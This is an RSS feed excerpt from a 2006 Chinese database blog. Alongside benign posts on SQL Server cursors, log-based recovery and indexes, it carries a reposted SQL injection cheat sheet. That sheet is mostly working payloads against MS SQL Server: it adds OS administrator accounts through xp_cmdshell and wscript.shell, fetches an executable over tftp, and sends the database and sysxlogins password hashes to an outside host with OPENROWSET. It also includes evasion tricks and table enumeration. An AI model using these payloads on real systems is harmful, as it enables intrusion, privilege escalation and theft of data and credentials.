SCROLL_LOCKS
指明锁被放置在游标结果集所使用的数据上当。数据被读入游标中时，就会出现锁。这个选项确保对一个游标进行的更<br />新和删除操作总能被成功执行。如果FAST_FORWARD选项被定义，则不能选择该选项。另外，由于数据被游标锁定，所<br />以当考虑到数据并发处理时，应避免使用该选项。 
OPTIMISTIC
指明在数据被读入游标后，如果游标中某行数据已发生变化，那么对游标数据进行更新或删除可能会导致失败。如果使<br />用了FAST_FORWARD 选项，则不能使用该选项。 
TYPE_WARNING
指明若游标类型被修改成与用户定义的类型不同时，将发送一个警告信息给客户端。
注意：不可以将SQL_92的游标语法规则与MS SQL SERVER的游标扩展用法混合在一起使用。 
    下面我们将总结一下声明游标时应注意的一些问题。
    如果在CURSOR 前使用了SCROLL 或INSENSITIVE 保留字，则不能在CURSOR 和FOR select_statement <br />之间使用任何的保留字。反之同理。
    如果用DECLARE CURSOR 声明游标时，没有选择READ_ONLY、 OPTIMISTIC 或SCROLL_LOCKS 选项时，<br />游标的缺省情况为：
    如果SELECT 语句不支持更新，则游标为READ_ONLY；
    STATIC 和FAST_FORWARD 类型的游标缺省为READ_ONLY；   
    DYNAMIC 和KEYSET 游标缺省为OPTIMISTIC。
    我们仅能在Transact-SQL 语句中引用游标，而不能在数据库API 函数中引用。
    游标被声明以后，可以通过系统过程对其特性进行设置。
    对那些有权限对视图、表或某些列执行SELECT 语句的用户而言，它也具有使用游标的缺省权限。 
 
</pre>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/73071.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 16:30 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/73071.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用事务日志来恢复数据库------利用事务日志来恢复Update、Delete误操作引起的数据丢失</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Sat, 30 Sep 2006 08:12:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/73065.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/73065.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/73065.html</trackback:ping><description><![CDATA[可能有不少朋友遇到过这样的问题：<br />update或delete语句忘带了where子句，或where子句精度不够，执行之后造成了严重的后果，<br />这种情况的数据恢复只能利用事务日志的备份来进行，所以如果你的SQL没有进行相应的全库备份<br />或不能备份日志（truncate log on checkpoint选项为1），那么就无法进行数据的恢复了，或者<br />只能恢复到最近一次的备份的数据了。 
<p></p><p>以下简单说明恢复数据方法：<br />1，如果误操作之前存在一个全库备份（或已有多个差异备份或增量备份），首先要做的事就是进<br />进行一次日志备份（如果为了不让日志文件变大而置trunc. log on chkpt.选项为1那你就死翘翘了）<br />backup log dbName to disk='fileName'<br />2，恢复一个全库备份，注意需要使用with norecovery，如果还有其他差异或增量备份，则逐个恢<br />复<br />restore database dbName from disk='fileName' with norecovery<br />3，恢复最后一个日志备份即刚做的日志备份，指定恢复时间点到误操作之前的时刻<br />restore log dbName from disk='fileName'<br />with stopat='date_time'</p><p>以上这些操作都可以在SQL SERVER企业管理器里完成，难度不大。。。</p><p>当然，如果误操作是一些不记日志的操作比如truncate table，select into等操作，那么是无法利<br />用上述方法来恢复数据的... </p><img src ="http://www.blogjava.net/liaojiyong/aggbug/73065.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 16:12 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Sql注射总结(转)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Sat, 30 Sep 2006 01:06:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/72945.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/72945.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/72945.html</trackback:ping><description><![CDATA[sql注射总结（早源于or1=1） <br />最重要的表名：<br />select * from sysobjects<br />sysobjects ncsysobjects<br />sysindexes tsysindexes<br />syscolumns<br />systypes<br />sysusers<br />sysdatabases<br />sysxlogins<br />sysprocesses<br />最重要的一些用户名（默认sql数据库中存在着的）<br />public<br />dbo<br />guest(一般禁止，或者没权限)<br />db_sercurityadmin<br />ab_dlladmin<br />一些默认扩展<br />xp_regaddmultistring <br />xp_regdeletekey <br />xp_regdeletevalue <br />xp_regenumkeys <br />xp_regenumvalues <br />xp_regread <br />xp_regremovemultistring <br />xp_regwrite<br />xp_availablemedia 驱动器相关<br />xp_dirtree 目录<br />xp_enumdsn odbc连接<br />xp_loginconfig 服务器安全模式信息<br />xp_makecab 创建压缩卷<br />xp_ntsec_enumdomains domain信息<br />xp_terminate_process 终端进程，给出一个pid<br />例如：<br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll<br />exec xp_webserver<br />sp_dropextendedproc xp_webserver<br />bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar<br />group by users.id having 1=1-<br />group by users.id, users.username, users.password, users.privs having 1=1-<br />; insert into users values( 666, attacker, foobar, 0xffff )-<br />union select top 1 column_name from information_schema.columns where table_name=logintable-<br />union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-<br />union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-<br />union select top 1 login_name from logintable-<br />union select top 1 password from logintable where login_name=rahul--<br />构造语句：查询是否存在xp_cmdshell<br />union select @@version,1,1,1--<br />and 1=(select @@version)<br />and sa=(select system_user)<br />union select ret,1,1,1 from foo--<br />union select min(username),1,1,1 from users where username &gt; a-<br />union select min(username),1,1,1 from users where username &gt; admin-<br />union select password,1,1,1 from users where username = admin-- <br />and user_name()=dbo<br />and 0&lt;&gt;(select user_name()-<br />; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net user swap 5245886 /add<br />and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)<br />;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll<br />1=(％20select％20count(*)％20from％20master.dbo.sysobjects％20where％20xtype=x％20and％20name=xp_cmdshell)<br />and 1=(select is_srvrolemember(sysadmin)) 判断sa权限是否<br />and 0&lt;&gt;(select top 1 paths from newtable)-- 暴库大法<br />and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）<br />创建一个虚拟目录e盘：<br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c：inetpubwwwrootmkwebdir.vbs -w 默认 web 站点 -v e,e：<br />访问属性：（配合写入一个webshell）<br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse<br />and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br />依次提交 dbid = 7,8,9.... 得到更多的数据库名<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一个表 假设为 admin<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 来得到其他的表。<br />and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin <br />and uid&gt;(str(id))) 暴到uid的数值假设为18779569 uid=id<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in <br />(id,...)) 来暴出其他的字段<br />and 0&lt;(select user_id from bbs.dbo.admin where username&gt;1) 可以得到用户名 <br />依次可以得到密码。。。。。假设存在user_id username ,password 等字段<br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin<br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin<br />(union语句到处风靡啊，access也好用<br />暴库特殊技巧：:％5c= 或者把/和 修改％5提交<br />and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6)<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名 <br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))<br />and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid&gt;(str(id))) 判断id值<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段<br />;create table [dbo].[swap] ([swappass][char](255));-- <br />and (select top 1 swappass from swap)=1 <br />;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)<br />政策法规＆infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use％20master;declare％20@s％20％20int;exec％20sp_oacreate％20wscript.shell,@s％20out;exec％20sp_oamethod％20@s,run,null,cmd.exe％20/c％20ping％201.1.1.1;-- <br />得到了web路径d:xxxx,接下来： <br />;use ku1;-- <br />;create table cmd (str image);-- <br />传统的存在xp_cmdshell的测试过程：<br />;exec master..xp_cmdshell dir<br />;exec master.dbo.sp_addlogin hax;-- <br />;exec master.dbo.sp_password null,hax,hax;-- <br />;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- <br />;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- <br />;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;-- <br />exec master..xp_servicecontrol start, schedule <br />exec master..xp_servicecontrol start, server<br />http：//www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net user swap 5258 /add <br />;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net localgroup administrators swap/add<br />; exec master..xp_cmdshell tftp -i youip get file.exe- <br />declare @a sysname set @a=xp_ cmdshell exec @a dir c: <br />declare @a sysname set @a=xp _cm dshell exec @a dir c:<br />;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目录bak.dat <br />如果被限制则可以。<br />select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)<br />传统查询构造：<br />select * from news where id=... and topic=... and .....<br />adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass &lt;&gt;<br />select 123;--<br />;use master;--<br />:a or name like fff％;-- 显示有一个叫ffff的用户哈。<br />and 1&lt;&gt;(select count(email) from [user]);--<br />;update [users] set email=(select top 1 name from sysobjects where xtype=u and status&gt;0) where name=ffff;--<br />说明:<br />上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<br />通过查看ffff的用户资料可得第一个用表叫ad<br />然后根据表名ad得到这个表的id<br />ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--<br />象下面这样就可以得到第二个表的名字了<br />ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id&gt;581577110) where name=ffff;--<br />ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--<br />ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--<br />ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--<br />exec master..xp_servicecontrol start, schedule <br />exec master..xp_servicecontrol start, server<br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll <br />扩展存储就可以通过一般的方法调用： <br />exec xp_webserver <br />一旦这个扩展存储执行过，可以这样删除它: <br />sp_dropextendedproc xp_webserver <br />insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-<br />insert into users values( 667,123,123,0xffff)-<br />insert into users values ( 123, admin--, password, 0xffff)-<br />;and user&gt;0<br />;;and (select count(*) from sysobjects)&gt;0<br />;;and (select count(*) from mysysobjects)&gt;0 //为access数据库<br />-----------------------------------------------------------通常注射的一些介绍：<br />a) id=49 这类注入的参数是数字型，sql语句原貌大致如下：<br />select * from 表名 where 字段=49<br />注入的参数为id=49 and [查询条件]，即是生成语句：<br />select * from 表名 where 字段=49 and [查询条件]<br />(b) class=连续剧 这类注入的参数是字符型，sql语句原貌大致概如下：<br />select * from 表名 where 字段=连续剧 <br />注入的参数为class=连续剧 and [查询条件] and = ，即是生成语句：<br />select * from 表名 where 字段=连续剧 and [查询条件] and =<br />(c) 搜索时没过滤参数的，如keyword=关键字，sql语句原貌大致如下：<br />select * from 表名 where 字段like ％关键字％ <br />注入的参数为keyword= and [查询条件] and ％25=， 即是生成语句：<br />select * from 表名 where字段like ％ and [查询条件] and ％=％<br />;;and (select top 1 name from sysobjects where xtype=u and status&gt;0)&gt;0<br />sysobjects是sqlserver的系统表，存储着所有的表名、视图、约束及其它对象，xtype=u and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。<br />;;and (select top 1 col_name(object_id(表名),1) from sysobjects)&gt;0<br />从⑤拿到表名后，用object_id(表名)获取表名对应的内部id，col_name(表名id,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br />post.htm内容：主要是方便输入。<br />〈iframe name=p src=# width=800 height=350 frameborder=0&gt;<br /><form action="http://test.com/count.asp" target="p"><br />〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);-- style=width:750&gt;<br />〈input type=submit value=&gt;&gt;&gt;&gt;<br />〈input type=hidden name=fno value=2, 3&gt;<br /></form><br />枚举出他的数据表名：<br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);--<br />这是将第一个表名更新到aaa的字段处。<br />读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt;&gt;刚才得到的表名）。<br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0 and name&lt;&gt;vote);--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)<br />读出第二个表，^^^^^^一个个的读出，直到没有为止。<br />读字段是这样：<br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br />--------------------------------高级技巧：<br />[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]<br />update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status&gt;0 [ and name&lt;&gt;你得到的表名 查出一个加一个]) [ where 条件]<br />select top 1 name from sysobjects where xtype=u and status&gt;0 and name not in(table1,table2,...)<br />通过sqlserver注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是sysadmin组]<br />[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]<br />update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]<br />绕过ids的检测[使用变量]<br />declare @a sysname set @a=xp_ cmdshell exec @a dir c:<br />declare @a sysname set @a=xp _cm dshell exec @a dir c:<br />1、 开启远程数据库<br />基本语法<br />select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 ) <br />参数: (1) oledb provider name<br />2、 其中连接字符串参数可以是任何和端口用来连接,比如<br />select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table<br />要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。<br />基本语法：<br />insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2 <br />这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的ip地址和端口，指向需要的地方，比如：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2<br />insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases) <br />select * from master.dbo.sysdatabases <br />insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects) <br />select * from user_database.dbo.sysobjects <br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns) <br />select * from user_database.dbo.syscolumns<br />之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1 <br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2<br />...... <br />3、 复4、 制哈西表（hash）<br />这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins<br />得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。<br />遍历目录的方法：<br />先创建一个临时表：temp<br />5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br />5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器<br />5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表<br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中<br />5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容<br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--<br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--<br />5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc<br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- （xp_dirtree适用权限public）<br />写入表：<br />语句1：　and　1=(select is_srvrolemember(sysadmin));-- <br />语句2：　and　1=(select is_srvrolemember(serveradmin));-- <br />语句3：　and　1=(select is_srvrolemember(setupadmin));-- <br />语句4：　and　1=(select is_srvrolemember(securityadmin));-- <br />语句5：　and　1=(select is_srvrolemember(securityadmin));-- <br />语句6：　and　1=(select is_srvrolemember(diskadmin));-- <br />语句7：　and　1=(select is_srvrolemember(bulkadmin));-- <br />语句8：　and　1=(select is_srvrolemember(bulkadmin));-- <br />语句9：　and　1=(select is_member(db_owner));-- <br />把路径写到表中去：<br />;create　table　dirs(paths varchar(100), id int)- <br />;insert 　dirs　exec　master.dbo.xp_dirtree c:- <br />　and　0&lt;&gt;(select　top　1　paths　from　dirs)- <br />　and　0&lt;&gt;(select　top　1　paths　from　dirs　where　paths　not　in(@inetpub))- <br />语句：;create　table　dirs1(paths　varchar(100),　id　int)-- <br />语句：;insert　dirs　exec　master.dbo.xp_dirtree e:web-- <br />语句：　and　0&lt;&gt;(select　top　1　paths　from　dirs1)- <br />把数据库备份到网页目录：下载<br />;declare　@a　sysname;　set　@a=db_name();backup　database　@a　to　disk=e:webdown.bak;-- <br />and％201=(select％20top％201％20name％20from(select％20top％2012％20id,name％20from％20sysobjects％20where％20xtype=char(85))％20t％20order％20by％20id％20desc)<br />and％201=(select％20top％201％20col_name(object_id(user_login),1)％20from％20sysobjects) 参看相关表。<br />and 1=(select％20user_id％20from％20user_login)<br />and％200=(select％20user％20from％20user_login％20where％20user&gt;1)<img src ="http://www.blogjava.net/liaojiyong/aggbug/72945.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 09:06 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>簇索引与非簇索引在查询中的应用与分析(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Thu, 28 Sep 2006 02:43:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/72497.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/72497.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/72497.html</trackback:ping><description><![CDATA[一、深入浅出理解索引结构 
<p>　　实际上，您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引：聚集索引（clustered index，</p><p>也称聚类索引、簇集索引）和非聚集索引（nonclustered index，也称非聚类索引、非簇集索引）。下面，我们举例来</p><p>说明一下聚集索引和非聚集索引的区别：</p><p>　　其实，我们的汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页</p><p>，因为“安”的拼音是“an”，而按照拼音排序汉字的字典是以英文字母“a”开头并以“z”结尾的，那么“安”字就</p><p>自然地排在字典的前部。如果您翻完了所有以“a”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；</p><p>同样的，